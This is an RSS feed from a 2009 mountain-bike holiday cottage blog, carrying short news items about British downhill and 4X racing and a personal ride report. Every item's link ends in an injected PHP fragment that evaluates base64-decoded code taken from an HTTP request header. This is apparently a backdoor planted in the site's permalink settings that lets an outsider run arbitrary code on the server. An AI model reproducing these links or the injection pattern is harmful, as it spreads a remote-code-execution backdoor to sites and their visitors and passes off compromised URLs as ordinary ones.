http://fodmtb.com/blog Forest of Dean Mountain Bike Holidays - Self Catering Cottages - News/Blog section Fri, 15 May 2009 20:06:19 +0000 http://backend.userland.com/rss092 en Team GT Bicycles riders Mick Hannah, Marc Beaumont and Dave Wardell have confirmed they’ll be riding in the Mountain Biking UK Eliminator dual slalom race at BikeRadar Live. After a great start to the 2009 race season, finishing second in South Africa and third in last weekend’s Mountain Bike World Cup ... http://fodmtb.com/blog/2009/05/15/bikeradar-live-gt-team-confirmed-for-mbuk-eliminator-dual-slalom/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Shanaze Reade, the 20-year-old British Olympian and world BMX champion, will ride in the 4X competition at this year’s UCI Mountain Bike World Cup round in Fort William, Scotland. Reade has already raced 4X in the UK but the race on 6-7 June will be her first chance to take ... http://fodmtb.com/blog/2009/05/14/bmx-star-shanaze-reade-to-ride-4x-at-fort-william/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ A record number of mountain bikers have applied to take part in the UK's Mountain Mayhem 24-hour race. More than 3,125 people sent in entry forms – the biggest response in the event’s history. With places limited to 2,500 riders, hundreds had to be turned away. Some riders handed in their ... http://fodmtb.com/blog/2009/05/12/record-entries-for-mountain-mayhem-enduro/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Britain's Steve Peat rode to victory at this year's second UCI Mountain Bike World Cup downhill round in La Bresse, France today. Peat (Santa Cruz Syndicate) scored his 16th World Cup victory with a time of 2:07.14, over a second faster than second-placed Sam Hill (Monster Energy/Specialized/Mad Cat), who finished in ... http://fodmtb.com/blog/2009/05/11/peat-wins-in-la-bresse/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ So managed to find a few hours today to hit the tracks. Have to say today has been lovely weather and its great being on a bike without having to wear 73 layers! Managed to find some mud too, typically on a bend in the track where I got really badly ... http://fodmtb.com/blog/2009/05/11/sun-mud-and-sweat/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/